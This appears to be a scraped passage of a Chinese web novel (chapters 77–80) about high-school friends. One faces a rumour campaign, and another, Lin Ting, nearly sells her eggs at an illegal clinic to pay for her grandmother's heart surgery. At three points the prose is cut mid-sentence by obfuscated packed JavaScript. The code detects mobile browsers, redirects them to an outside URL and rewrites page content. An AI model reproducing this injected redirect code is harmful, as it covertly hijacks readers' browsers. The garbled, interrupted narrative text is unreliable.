陈恕点头,“嗯,谢谢你们,谢谢大家。” 许兰亭、周嘉先、林听纷纷摆摆手,许兰亭揽着对方的肩膀,“嘿……我们是哥们,说这些~” - 夕阳西下,天边燃起艳色的火烧云,夏日的晚风带着微微的凉意吹走一整天的燥热。 张期期、陈恕几人推着自行车走在人行道上,沿途种着整排的榕树,榕树树冠增添蔽日般连成一整片绿色盎然。 林听推着单车,突然道:“不过,我们还不知道那个帖子到底是谁发的。嗯?陈恕,有人撞见过你在男厕换衣服吗?你有印象吗?” 张期期、许兰亭、周嘉先闻言看向陈恕,陈恕淡淡道:“没有,那个人说的应该都是假的,他没撞见过我换衣服。” ……他唯一一次在学校换衣服是校运动会那天,张老师撞见过。 如果那个人真的撞见过他换衣服,看到过他浑身的伤疤时,就应该不会选择揣测、诬陷他有皮肤传染病,他只需要在帖子上说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552366|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他浑身伤疤,是个被家暴的可怜虫,这样的言论估计也有人会信,却也是真实的,他无法反驳的,更能打击到他的。 周嘉先沉思片刻后,道:“我感觉应该是洪志干的,我们拆了他的自行车,他怀恨在心吧!” “我也觉得应该就是他干的,不然陈恕一直都是这么穿的,怎么突然就有人跳出来针对他,肯定是他猜到是我们拆他的自行车。”许兰亭道。 张期期也认同这一点,她眼眸微转,“话说他干嘛一直针对你啊,陈恕你认识他吗?” “不认识。”陈恕神色平静。 张期期叹了一口气,“算了,不说他了,晦气。” - 当夜,张期期发布的那条帖子也盖起了高高的楼。 电脑的蓝光照射在洪志的脸上,他气得额头上青筋直跳,手指在键盘上敲得飞起,对着那些维护陈恕的留言一条条地挑刺,然后挑起话题,说就算陈恕不是有皮肤传染病,肯定也有什么见不得人的东西,不然捂得那么严实做什么。 另一边的周嘉先看着匿名的用户,点进去对方的后台,呵……还真是洪志! 洪志在回复了几十条评论之后,突然发现自己被禁言了,他气得砸了一下桌面,“我艹!” - 不知道是出于什么样的心理,重点一班的同学并没有在贴吧澄清关于陈恕的谣言之后就换回了短袖校服衬衫,而是继续穿着长袖。 面对这样的情况,陈恕好几次在打水房遇到他们班的同学时就委婉了表示了他们不需要因为他而做出这样的改变的。 王思像好哥们一样,撞了撞陈恕的肩膀,朗声笑道:“啊…不是,你想多了,不是因为你,唔……也不是完全不是因为你……” 陈恕:? 蒋文解释道:“其实是因为我们发现穿着长袖也没有多热,而且今年京照的天气太诡异了,真的,太阳晒得皮肤好烫,穿长袖反而没那么难受了。” 陈恕闻言,看了他们一眼,他心中是不太信的,他更倾向于这是他的同学们为了不让他多想才想出来的借口。 一直沉默着排队的顾佳熹突然悄悄地探出头来,硬着头皮鼓起勇气道:“嗯,是这样的哦。我感觉我这个夏天能变白……” 陈恕抿了抿唇,最终还是微笑道:“嗯。谢谢你们。” ……谢谢他们,让他这个夏天不再成为让人频频侧目的怪人。 - 几天后,张期期、陈恕、许兰亭、林听背着书包跑进教室时,迎面而来就是一阵带着凉意的空调风。极大的温度差异让张期期突然打了个喷嚏。 “嘶——好冷啊!”张期期下意识说了一声。 许兰亭惊讶地看向教室后方开着的空调,“哇~居然能开空调了?往年不是六月份酷热的时候才开的吗?” 京照一中开空调的时间非常严苛,好好的一个空调,硬是一年才开两个月,也就是六月份和七月份。 京照市的气候是冬天格外冷,夏天特别热,甚至这个夏天还会延续到九月份、十月份初,也就是秋老虎的季节。秋老虎气温还是炎热的,但依旧是不会给开空调。 已经坐在教室里的周嘉先打了个哈欠,“往年是六月份才开没错,今年……估计是张老师和学校争取过来的吧!反正我看了,今天早上我们这一层楼的都开了。” “哇——简直不要太爽了!”许兰亭十分高兴。 陈恕眼神中闪过笑意,大概是张老师看他们班那么多人都穿着长袖衬衫,而且张老师是知道他为什么穿长袖衬衫的,为了他和他们班同学舒服一些,就去和学校争取了吧…… 只不过……他抬眸望了一眼空调上显示的温度,“16度”,他忍不住嘴角抽了抽,这是空调最底温度了吧。 张期期在身体适应过来后,也高兴起来,她挽着林听的胳膊道,“再也不用午睡醒来之后一身黏糊糊的汗了!” 林听笑着狠狠点头,“嗯!” 重点一班的同学表示非常舒服,穿着长袖吹着空调,简直不要太美妙。 然而,上课铃声响起,张扬腋下夹着教案走进教室,却被冷得打了个哆嗦之后,重点一班的同学被狠狠骂了十分钟。 “十六度!你们怎么想的?是谁调的温度,把遥控给我交出来……” …… 因为学校提早开了空调,学生们慢慢摸索出穿着长袖衬衫在教室内既可以抵挡空调的凉意,出了校门回家路上又能防晒,所以一中的学生潜移默化地开始陆陆续续穿起长袖衬衫来。 因此,陈恕即便在夏日穿着长袖,却也和大家变得一样了,他不再显眼,人们也不再猜测他异于常人的服装。 * 盛夏的阳光明媚耀眼,窗外的树冠随着风吹晃动,发出飒飒的声响。教室内的薄纱窗帘轻轻飘动着扬起、下落,恍若青春的悸动。 校运会结束之后,张扬联合了高二年级的全体老师,向校长建议取消省金中的高压式刷题训练。校长经过几轮开会后倒也是答应了,但毕竟下学期就是高三了,学生们该有的压力自然还是不少。 沸反盈天的教室外走廊不再出现,取而代之的是学生们偶尔静静地出来透透气,沉默地上厕所,安静地接水…… 教室内笔尖在纸面上摩擦的声音、翻阅书本的声音、小声背诵的声音……这些声音汇聚成一股强大的力量,学生们也被这股力量裹挟着向前走。 一曲悠扬的放学铃声响起,很多人一整天绷着的一口气缓缓呼出,他们又努力学习,艰难地度过了一天。 张期期将黑色水笔放下,双手交叉着向上伸了个懒腰,“哎!终于放学了……” 许兰亭唉声叹气,“是啊!终于放学了,这些题目我都要看吐了。” 陈恕、林听眼底带着轻微的笑意听着两人吐槽,手上默默加快了动作。 将书包的拉链拉上,陈恕指骨扣了扣张期期的桌面,“走吧。” “嗯!” 夕阳余晖下,黄昏的光影将这一群少年少女的身影拉得越来越长,嬉笑打闹的声音徜徉在这个夏日傍晚。 78. 第 78 章 - 步入六月,京照市正式迎来酷夏,一整日的太阳晒得地面热气腾腾,微风一吹,热浪翻滚,蝉虫不断地鸣叫着惹得人心烦意乱。 教室外走廊,许兰亭手臂压在围栏上,另一只手拉扯着胸前的衣服的领口,一脸愁闷。 张期期眯起眼,盯着他看,“快说,你到底找我什么事?还非得出来外面说。” ……真的好热,她说着边将手掌当成扇子一样扇着。 许兰亭余光透过教室窗玻璃瞥了一眼正低着头做题的女孩,“期期,你觉不觉得最近这几天林听有点心不在焉的啊?” “心不在焉?有吗?” “有!”许兰亭肯定道:“不信你现在看过去……” 张期期:“嗯?”她侧首望过去,方才还专心做题的林听此刻正低着头,手放在桌柜里面,好像在……看手机? “是有点奇怪!”张期期若有所思道:“林听从来不会在学校玩手机的,特别是做题的时候。” “对!!是吧?你也这么觉得!但是我问过她了,她却说没事,是我想太多了。”许兰亭异常苦恼地继续道:“刚好这几日我哥住院了,我爸妈又不在,所以我这几天没送她回家,去医院看我哥了。” “肯定就是这几天发生了什么……”许兰亭唉声叹气。 张期期惊讶道:“敬亭哥住院了?他怎么了?” “还能怎么,应酬喝到胃出血!我说了好多次了,他都不听我的,好像这次是为了拿一块地皮吧?哎……我也不太清楚。我好逊啊,无论是我哥的事,还是林听的事,两头都帮不上忙。唉……” 张期期拍了拍他的肩膀,“好啦,别唉声叹气了,我去找林听问问,看看她愿不愿意告诉我。” 许兰亭双手握住张期期的手使劲摇晃,虔诚道,“好!拜托你了!拜托拜托!” — 放学铃声响起,林听沉默地对照着各科老师留下的作业,将试卷、练习本放到书包里,张期期、许兰亭、周嘉先、陈恕也麻利地收拾好东西。 张期期笑着道:“走吧。” “嗯。”其他人点点头,自无不可。 校道上,热烘烘的风微微吹着,周嘉先和林听走在最前面,两人边说话边讨论着数学题目。 张期期走在陈恕的身侧,“陈恕,数学竞赛的初赛你已经通过了,联赛和决赛你有信心吗?” “哦……对了,决赛之后要是名次不错,是可以保送国外、国内的大学,你有意向哪个学校了吗?”她试探着说,“如果……嗯……如果你想去国外的大学的话,你雅思就得准备了。” 陈恕闻言,眼帘微垂,国外的大学…… 他想学法律专业,准备专攻民法、刑法,而我国的刑法理论主要借鉴日本、德国,且德国的法学教育以实践为主,不仅要求学生掌握法律理论,还要求学生掌握实践技能,去德国留学无疑是最好的选择。 再者,德国是大陆法系的代表国家,我国也是,所以这也有利于他留学后回国,这次保送的学校和专业里面就有德国慕尼黑大学的法律专业。 少年抿着唇,眼神虚空地望向前方,母亲遭遇的不幸、年少被拐的过去使得他迫切地想学法律,他要用法律去捍卫心中的正义,去帮助更多像他和母亲那样弱势的人。 但是……德国……真的好远好远。期期…她肯定要留在国内上大学的,她对国外相当排斥。如果他去国外,那他们就要分别了。 树影摇曳,光斑洒在少年的肩上,张期期见他这番沉默的模样,顿时懵了一下,难道!陈恕真的想去国外上大学,国外……可是她不喜欢国外啊!她也不愿意去国外。 她张了张口,想说国内的大学也不错啊,这次保送里面还有国内顶尖大学可以选择…… 然而张期期还未开口时,许兰亭偷偷放缓脚步,走到了张期期的身旁,他压低声音急声道:“期期……怎么样,林听有告诉你,她到底怎么了吗?” 许兰亭一问,张期期瞬间回过神来,算了……陈恕的事情还远着呢,先解决林听的问题吧! 她想起今天她和林听好几次手挽着手去上厕所时,她几次委婉地试探过了,但林听都微笑着告诉她,真的没什么事,她就是学习上太累了。 于是,张期期遗憾地摇了摇头,小声道:“她说她没事……就是学习上太累了而已。” 许兰亭啊了一声,一脸沮丧。 说话间,一行人正好走到了校门口,他们互相道过别之后各自离开。 许兰亭看着林听骑着自行车离开的背影,无奈地坐上了家里的汽车,他哥还要他去盯着,否则肯定又要忘记吃饭了。 ……真不知他怎么想的,都住院了还要忙工作上的事情! 一边是他哥的身体,一边是林听愁眉不展的模样,许兰亭再次长叹了一口气。 - 汽车行驶到了市中心医院门口,许兰亭拎上家里阿姨煮的粥下了车,直奔许敬亭的VIP病房。 “哥——你又在忙什么?”他将食盒放在床边的柜子上,皱着眉头问道。 许敬亭没有回答他这个问题,因为工作上的事情他即便和他弟弟说了,他也不懂,“没什么,就忙完了。” 他将手头上的邮件发送过去后,便合上了笔记本电脑,在许兰亭不满的目光望过去时,他果断道:“我有点饿了,阿姨煮的粥是吗?拿过来吧。” 许兰亭冷哼一声,将饭盒打开,餐具摆好,“快吃吧。” 病房内亮堂干净,床另一边的柜子上摆放着鲜艳的花束,夕阳的余晖攀爬溜进病房内,在地板上洒下一片光辉。 此时,病房内静悄悄的,许敬亭安静地勺着粥喝,半响他余光瞥向一旁靠着椅背、双手抱胸,一只脚架在他床下铁架子处的许兰亭,对方眉心微拧,不知道在想什么。 “怎么了?不开心?”许敬亭吃了半饱,放下勺子。 许兰亭点点头,一副丧气的模样,片刻后他道:“哥,我是不是很逊啊?” “怎么会呢?”许敬亭好整以暇看着他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564649|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许兰亭:…… 他无语呵笑一声,“哥,你这看热闹的表情不要太明显好吗?” 许敬亭若有所思、缓缓点头,肯定道:“嗯……是你小女朋友的事?” 许兰亭:“……都说还不是啦!” 许敬亭见好就收,立刻改口,“好吧!还不是……那、你介意告诉我是发生什么事了吗?虚长你几岁,想来我还是能提一些建议的吧。” 发生什么事了?他要是知道发生什么事了,哪里还会在这里这么郁闷啊!许兰亭深吸一口气,站起身来,道:“哥你吃完了吧,那我把饭盒拿回去了。你多休息吧。” 说完,他手脚麻利地将饭盒收好,放进袋子里,拎上书包就走。 “诶……怎么走了,话都没说完……”许敬亭喊了几句,但许兰亭掉头就走,看起来没什么兴致和他聊天。 病房门被轻轻地关上,许敬亭哼笑一声,“臭小子……” - 住院部第七层是VIP病房,电梯从七层缓缓下降,在第三层的时候有人按了向下的键,因此在下降到第三层的时候,电梯门缓缓打开。 许兰亭下意识地抬眸望了一眼,不远处有个熟悉的身影一晃而过,是林听!他瞬间拦住正在关闭的电梯门,“不好意思,让一下。” 等他从电梯出来,在走廊上来来回回地晃悠时,却不见了林听的身影。走廊两侧都是病房,他总不能一间间地敲门进去吧……许兰亭抹了把脸,找了张长凳坐下来。 ……林听来医院了,应该是林奶奶身体不舒服。 许兰亭皱着眉头,林听家里就她和她奶奶,亲戚之间好像也不往来,她遇上事情了,怎么就不告诉他和期期他们呢! 她总是这样,除非到万不得已的情况下,她都不愿意寻求别人的帮助!这真是个坏习惯!他们不是朋友吗? 许兰亭异常郁闷,坐了半响,他站起身往护士值班站走去,他露出讨好的笑容来,笑着问:“护士小姐姐你们好,我想问一下,你们有没有看到和我穿着同样校服的女生啊?” “……唔?你这个校服,哦,一中的吧!有,刚刚她好像走过去了。” 许兰亭眼眸一亮,“小姐姐,那你知道她往哪个病房去吗?” 事关病人的信息,护士们顿时警惕起来,“你有什么事吗?” 许兰亭干净道:“别误会别误会!我是她朋友,她奶奶生病了,我过来探望一下老人家。” 为了增加他说的话的可信度,他提起了那个装着饭盒的袋子道:“看,我拿着东西来的。我手机没电了,所以才没办法打电话问她在哪个病房的。” 或许是因为林听和许兰亭穿着同样的校服,护士们相信了,便告诉了他,林奶奶在哪个病房。 许兰亭一听,道过谢后,就想往病房走去,然而他刚走出几步,突然转身又走回来,“额?我想问问,那个……林奶奶身体出什么问题了吗?” “老人家冠脉堵塞了,需要做个心脏搭桥手术。” …… 79. 第 79 章 - 橘红色的太阳渐渐西沉,只留下半个圆弧还留在天际上,橘色韵浓了微微发灰的云层,夏夜慢慢到来…… 许兰亭坐在住院部一楼门口的铁质长凳上,他从护士那里得到来林奶奶身体的病因之后,便拐了个弯从楼梯走下来了。 心脏搭桥手术……听起来就很严重,在心脏上面做手术吗? 这一刻,他理解了林听为什么最近总是心不在焉的了,林奶奶生了这么严重的病,他去到病房也不知道该如何宽慰她们,而且万一林听觉得他偷偷跟踪她那就麻烦了…… 日落月升,月色弥漫。 许兰亭坐在长凳上,低头在手机上搜索着“心脏搭桥手术”、“冠脉堵塞”,他看到“冠脉堵塞”极有可能猝死和心梗时,便觉得胸口很闷。 ……林听肯定很难受,林奶奶是她唯一的亲人了。 半响后,他又琢磨起医生、医院来,嗯……市中心医院是三甲医院,医生都是有资质的优秀人才,心脏搭桥手术在市中心医院做应该是可以的。 良久,月上梢头,林听一直都没有出来,许兰亭猜测大概她要在病房里过夜陪着林奶奶吧…… 再等了半个多小时后,他才最终坐上了回皇家园林别墅的车。 夜间,他在床上翻来覆去地睡不着,最后还是打了个电话给他哥。 …… * 翌日。 早读课铃声响完后,林听都没有出现在教室里。 张期期疑惑地盯着她的空位看着,林听怎么没来上课?请假了? “兰亭!”她喊了一声。 许兰亭一脸郁郁地转过头来,无精打采道:“干什么?” 张期期见状,起身走过去,手臂压在他的肩膀上,弯下腰低声问道:“你知道林听怎么了吗?她今天怎么没来上学啊?” 许兰亭看了张期期一眼,林听不愿意说的话,那他还是不要到底说好了,于是他气馁道:“我也不知道。” 为了避免张期期追问,许兰亭立刻拿了本英语书装作要开始早读了,然后将张期期赶走了。 早读课下课铃声一响,许兰亭越想越不对劲,甚至开始坐立难安起来,难道是林奶奶病情突然严重了,否则她怎么不来上课? 护士站的小姐姐告诉他,林奶奶已经住院好几天了,这几天来林听都是夜晚陪在病房,白天就拜托护士站的小姐姐帮忙多看着,而她来学校上学的…… 肯定是发生了什么事! 许兰亭将手机、钱包塞进口袋里,起身往年级办公室而去,他捂住了肚子,皱起了眉头走进去,声音虚弱道:“张老师,我不太舒服,想请一天假可以吗?嘶……好痛……” 张扬一愣,急忙道,“你先坐下,先坐下……”他扶着许兰亭的手臂让他坐在了椅子上,他弯下腰观察着他的神色,“请假是吧?可以是可以,但你需不需要先去校医室一趟?” 许兰亭一手捂着肚子,一手摆了摆,“不用了,张老师。我想回家休息一下。” “那……行吧。” 许兰亭微微弯着腰、捂着肚子,捏着请假条走出了年级办公室,他一直维持着这个姿势走到楼梯的拐角处,确认没有人能看见了,便直起腰来,脚下飞快地往下跑。 把请假条给门卫看过了之后,他骑着自行车骑得飞快,迅速往市中心医院骑去。 到市中心医院门口,许兰亭刚将车子锁好,一抬眼便看见不远处林听上了公交车。 “诶……等等……”他急忙跑过去,然而公交车还是开走了。 许兰亭随手拦了辆空车,道:“师傅,跟上那辆公交车!” 出租车司机表情一言难尽,但还是开车跟了上去。 许兰亭扒着窗户盯着前方的公交车看,公交车每停一站他就看着下车的人里有没有林听,一直到最后一站时,他才远远看着林听才下了车。 “师傅,站台停车。”许兰亭看着已经拐进小巷子里的林听急声道。 出租车刚停稳,他就付了钱之后下车追了上去。 ……林听来这里干什么,这都开出了京照市中心,这一片是郊区,她到底来这干什么啊? 许兰亭神色凝重,紧跟着拐弯走进去小巷子里,巷子的尽头是一家诊所,诊所开着一道小门,望进去里面是灯光昏沉,诊所整体看起来破破旧旧的,外墙上尽是污黑的涂鸦。 他看到林听就站在诊所门口,手上还捏着张折叠起来的纸张。她站在诊所门口好半响,抬脚就要往里面去。 这是黑诊所吧?不正规的吧? 许兰亭心底惊疑,难道林听被别人诓骗了,或者是心急乱投医跑到这里来找医生给林奶奶治病?不是……林听不可能那么傻的吧? 这些思绪仅仅在片刻之间,在林听准备走进去的时候,他飞快地跑过去拉住对方的手臂,“林听!” 与此同时,诊所内响起一道低沉的声音,“外面谁啊?” 许兰亭脸上一变,顾不上解释,拉着惊愕、慌张的林听往巷子口跑去。 - 走出阴冷昏暗的小巷子里,许兰亭这才放开拉着林听的手,他皱起眉头,“你到这里来干什么?那是一家黑诊所吧,看起来就不正规,很危险的。你……” 林听浑身都在微微颤抖着,她咬着唇,抖着手紧紧地攥着手心的折叠起来的那张纸,一副慌张、不安、心虚的模样。 见状,许兰亭顿时一愣,话都卡住了,他余光瞥到她准备将纸条团成一团、轻微颤抖的手,这是什么东西?不能让他看见的吗? 这一刻,许兰亭才感觉到完全不对劲,林听看到他突然出现第一反应竟然不是惊讶他怎么在这里,或者是愤怒他居然跟踪她,而是心虚、不安? 联想到刚才的黑诊所,他的目光瞬间变得犀利,少年面无表情地夺走林听手中皱成一团的纸张。 他意欲打开,林听却在这一刻突然激动起来,她伸手和他抢纸张,慌张又生气,“许兰亭,你干什么?还给我……快还给我……” 许兰亭仗着身高,一手挡开她的双手,另一手将纸张举高,指尖灵活地将折叠的纸张打开…… 烈日当空下,他眯起双眼,当看清上面的信息时,许兰亭仿佛被雷劈了一样愣在原地,明明是炎炎夏季,他周身却漫起一身寒意。 林听蓦然一滞,双手无力地垂了下来,她低着头倔犟地站在原地。 “你、你……林听你……”许兰亭拿着纸张,手都颤抖了,他好几次话不成句,“你不要告诉我,你想去卖卵?” 他眼神沉重地盯着她看,希望她能开口反驳,甚至骂他在瞎想什么,然而她执拗地站着,一声不吭。 许兰亭深深闭了闭眼,咬牙低声道:“为什么?” 他能猜到她是为了钱,为了林奶奶能做心脏搭桥手术,他想问的是为什么,为什么宁愿来这种非法机构卖卵,也不愿意告诉他,向他寻求帮助! 少女低垂着眼帘,泪水从眼眶溢出,无声滴落沁入地面。 眼前朦胧,林听哽咽道:“我需要钱,很多很多钱,奶奶做手术要十几万。” “我问的是你为什么不告诉我,我们是朋友不是吗?我可以帮你的啊!不只是我,还有期期他们……” “十几万!不是几百几千!十几万你要我怎么开口,我……”林听红着眼眶瞪着眼睛看着他。 许兰亭心里一阵阵后怕,如果他没及时赶到的话……只要一想想她可能遭遇到的事情,他就全身发凉,“十几万不敢开口,你却敢去卖卵!” “你知不知道?他们会给你打排促针,就为了从你身上取到更多的卵,那些医生可能甚至都没有职业资格,为了压缩取卵的成本可能还不会给你打麻药!” “30公分的针,你不怕的吗?女孩子一生的卵子都是有限的,他们可能给你取了30个,却告诉你只有五个!过度的取卵你以后大概率会卵巢早衰,甚至可能生不了孩子,更别说他们的卫生条件可能不达标,你会感染的!” 许兰亭气得咬牙切齿,怒气在他心中翻涌着。在他心里林听是个聪明、坚韧的女孩子,可是他却没想到她昏起头来,差点毁掉她自己的健康了。 30公分的针!!林听打了个激灵。 她带着哭腔道:“可是…我顾不了那么多了,奶奶必须做手术了,我要钱我要钱!我以后能不能生孩子这都是以后的事情了。我顾不了那么远的事情了……” 或许是怒到了极致,许兰亭反而平静下来了,他叹了口气,伸手将瘦削的女孩子抱在怀里,让她靠着他的肩膀哭泣。 他伸手轻轻在她后背帮她顺着气,任由她的泪水打湿他胸前的衣服。 良久,林听终于哭累了,压在她心中的那令人窒息的一口气缓缓散去,少年稚嫩的肩膀在这一刻让他感受到宽慰和依靠。 见林听不哭了,许兰亭手掌抚在她的脸上,指尖轻柔地擦去她脸上的湿润,低着道:“跟我走。” 他牵着她的手走进了一家甜品糖水店,两人坐在角落靠窗边的沙发上,室内的空调吹着让人觉得舒服又凉爽。 正值学生上课时间,又是早上,店内几乎没有其他客人,许兰亭点了两杯奶茶,一小块蛋糕,店员在几分钟之后就送了上来。 他将吸管戳进奶茶里,递给林听。 林听低垂着头,沉默地喝着。 “吃点蛋糕。”许兰亭将蛋糕推在她的面前,叉子放到她手心里。 林听抿了抿唇,叉了一小块放进嘴里,奶油入口瞬间融化,果酱很甜……她鼻尖一酸,眼眶红红。 许兰亭见状,抬手摸了摸她的脑袋,声音温沉,“……刚才是我错了,对不起林听。我不应该凶你的。遇上事情你也很着急,没人帮你出主意,你一下子想岔了也是正常的。” 林听咬着勺子微微摇头,将嘴里的小蛋糕咽下去后,她喃喃道:“你没错,不用说对不起。” 许兰亭再次揉了揉她的发顶,没有再说什么,林听也低着头沉默地将小蛋糕吃完了。 “好了,现在可以听我说了吗?” “嗯。”林听点头。 “奶奶做心脏搭桥就在市中心医院做比较好,我打听过了陈家辉医生已经做了几十次这样的手术了,很稳妥的很安全的这一点你放心。至于十几万的手术费用,我帮你先出……” 林听:“不……” 许兰亭打断她的话,“你先听我说,十几万我不需要从我家里人手中拿,你预想中的我得和父母拿钱这种情况是不会发生的。我自己就能从我的零花钱里拿出这笔钱来,这是我可以自由支配的,你不用担心。还有,虽然说费用十几万,但有医保可以报销的话,最后估计也就花三四万钱块。” 林听咬着牙,低声道:“奶奶没有医保……” 原来医保是用在这里的,她倒是有医保,一中学生入校时老师都会询问他们买不买,但她一直感觉用不上,想过几百钱也是钱,要不就不买医保了吧,还是张老师一定要她买,她才跟着同学们一起买的。 没有医保?许兰亭顿了顿,现在最普通的医保难道还没有人人普及吗? “没有医保也不要紧,林听……你听我说,这笔钱就当我借给你的,你想想你现在是京照一中的优秀学生,你高考一定可以考进国内一流大学。” “等你毕业以后出来,就拿我哥的公司来说,一流大学毕业生每个月工资至少一万以上,你想想十几万,可能大概两年你就能还完。而且这还是现在的行情,等到你大学毕业那都是几年以后的事情了,那时候社会工资普遍更高,说不定不到一年你就可以还完了。所以,不要担心好吗?我们有计划的,一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不过,兰亭,你怎么知道我去郊区那边了,还有我好像没和你说我奶奶的病情,你怎么会知道?” 许兰亭看着双眼微眯,狐疑地看着他的林听,最终举双手投降,老老实实地将昨天无意撞见她和、向护士站打听林奶奶病情以及今天早上请假跑出来跟踪她的事情坦白了…… 他原以为林听会生气,不料她只是笑了笑,“我怎么会生气呢!相反我觉得还好你及时出现了,谢谢你,兰亭!” - 许兰亭帮着林听跑上跑下,出去打餐等等,在林奶奶的病房里一直呆到了下午,林听几次赶他回学校,他都不走。 “反正假都请了……” “你不是说你哥哥也在医院吗?那你去看看他,说不定他那边需要你呢?我奶奶睡着了,这里不用你帮忙啦。”林听压着声音小声道,她推着他往病房外走。 “哎……没事,我哥不需要我的,而且我现在过去,他肯定知道我没去上学。”许兰亭再次拒绝,扒着墙壁不肯走。 林听看了一眼走道挂着的时钟,已经是下午六点钟了,她嘴角抽了抽,兰亭这个烂借口……“现在已经是放学时间了。” 两人掰扯一番,护士站的护士们都忍不住想探头过来看了。 许兰亭只好妥协,“那好吧……有什么事打我电话!记得啊!” “好——”林听无奈应下。 见许兰亭走向尽头的电梯,林听转身准备回病房,突然她感觉身后又有人轻轻点了点她的肩膀,她回过头来,又是许兰亭…… 她抿着唇看着他,“唔?” 许兰亭想起那张“卖卵”的广告,眼神闪过愤怒,他压了压情绪,低声问道:“忘了问你,那张广告你从哪里看到的?” 林听攥了攥指尖,低声道:“学校厕所门后面就贴着这些小广告。” * 当许兰亭来到VIP病房的时候,家里的司机已经将煮好的粥放在了病床上升起的小桌子上,许敬亭正在吃晚饭。 他抬眸瞥了一眼走进来的许兰亭,继续喝着粥。 好半响之后,许敬亭吃完,将饭盒关上,好整以暇地调侃他,“嗯?居然记得你哥我也在这家医院,逃了一整天的课,到现在才来看我?” ……小崽子有点没良心啊! 许兰亭脚尖勾了把椅子,然后坐下,他撇了撇嘴,“哪里是逃课,我明明请假了的。” 许敬亭:……行吧。 他随意地点点头,想起银行发给他的手机短信,上面显示着支出额度,便知道昨晚弟弟打电话问他的事已经解决了。 他将一旁床头柜上的笔记本电脑拿过来,打开,准备处理公司的事宜时,许兰亭突然道:“哥……谢谢你。” “不用。你是我弟弟。”许敬亭无谓道。 许兰亭突然来了劲,一副神秘兮兮又激动的样子,“哥,你教我的话真有用!我按照你说的,和林听分析之后,她就真的接受了。” 许敬亭闻言突然笑了起来,高中生就是好骗,那些话字面上看起来有条有理、合乎逻辑、是完全可行的。 但事实哪里是如此啊,大学毕业生毕业之后,就算工资比较高,其实也很难存下钱来,他们根本就不知道钱花到哪里了,而且日常个人的消费支出也是一笔大钱。 他所说的只是理论上的可行,嗯……其实倒也不是没有例外,如果他弟弟的小女友是那种还没还清钱就一直惦记着的那种类型的话,那还真有可能毕业两年内就能还完,啊……只不过那会非常辛苦。 这么想着,许敬亭瞥了一眼许兰亭,道:“好好对人家,争取让她成为我们家的一份子,以后她就不用还钱了。” 许兰亭摸了摸后脑勺,嘿嘿嘿地笑着,“我也是这么想的,我的钱就是她的钱,不用还。” 许兰亭没有呆多久就被许敬亭赶出了病房,出了医院后,他望着头顶月明星稀的夜色,突然想起林听在厕所门板上看到的小广告,顿时脸色一沉。 …… 80. 第 80 章 - 夏夜晚风轻拂,张家一家三口吃过晚饭,张期期笑着和她爸妈说了一声之后就跑上了五楼,她翻找着了一会儿后才在枕头下面找到了手机。 今天早上她起得晚,一时间忘了带手机到学校。 “喂——兰亭……” “你居然请了一整天的假,林听也没来上课,你们俩干什么去啊,居然不叫上我!” 张期期想起今天早上早读课结束的铃.声响了之后,许兰亭就跑出了教室,而她在第一节课上课铃.声响起之后没看见许兰亭回来时,才意识到他也跑了…… 好不容易挨到下课,她麻溜地反身坐在许兰亭的椅子上看着陈恕小声又激动道:“陈恕……你说兰亭和林听该不会……嗯……私奔去了吧?!” 陈恕:…… 少年神色一言难尽,他蓦然想起寒假搬空教室时,对方终于在经过一学期之后才意识到她最开始随手拿给他的那一沓书其实是言情小说之后,她涨红了脸,尴尬却又佯装冷静地问他,“你没看过吧?” 现在他怀疑她可能看太多言情小说,把脑子看坏了……“你私奔还有可能,林听是绝对不会私奔的,放心吧。” 张期期眨了眨眼,眼神无辜地望着他,边笑边道:“我私奔?我和谁私奔呀?” 陈恕闻言一滞,热意顿时直轰脑门,他抿了抿唇,无力道:“我怎么知道?别乱说了……”他拿了本书在桌面上竖起来挡住张期期调侃、取笑的眼神。 “好啦!我不说啦!”张期期将他的书本压下来,一改刚才嬉笑的神色,正色推测着,“林听、兰亭都没来上课,肯定是有什么事情。唔……要不我去请个假,去林听家看看吧?” 陈恕再一次将课本竖起来,平静道:“林听真要有什么事,兰亭会搞定的,你要去当电灯泡吗?” 张期期:“……好吧。” 她灰溜溜地出了教室上厕所,然而刚一走出厕所,她眼眸一转,拐个弯捂着肚子、皱着眉往年级办公室走去。 “张老师,我不太舒服,想请一天假可以吗?嘶……好痛……” 张扬:……这句话有点耳熟啊! 他嘴角抽搐,意识到早读课后许兰亭肚子痛找他请假很有可能是假装的了,他心中哼笑一声,好好好,都这么骗他是吧? 张扬眼神凉飕飕的,“肚子痛啊,老师带你去校医室看看……” 张期期打量了一下张扬的眼神,坏了……张老师不信,于是她干脆利落道:“啊,不用,我让陈恕带我去就行,老师再见。” 张扬哼了一声,“下次装病,记得先通个气,别都找肚子痛这个借口,连说的话都一样!” 张期期灰溜溜地回了教室,并在接下来的一整天里被各科目老师盯得死死的,很难不让人怀疑是张老师和其他科目的老师通了气! … “啊?!林奶奶生病住院了?严不严重啊?”张期期的思绪被许兰亭说的话打断了,她惊疑问着。 电话那边许兰亭将林奶奶的病情大致说了说,略去了林听想卖卵这件事,并告诉张期期手术以及费用等等都安排好了。 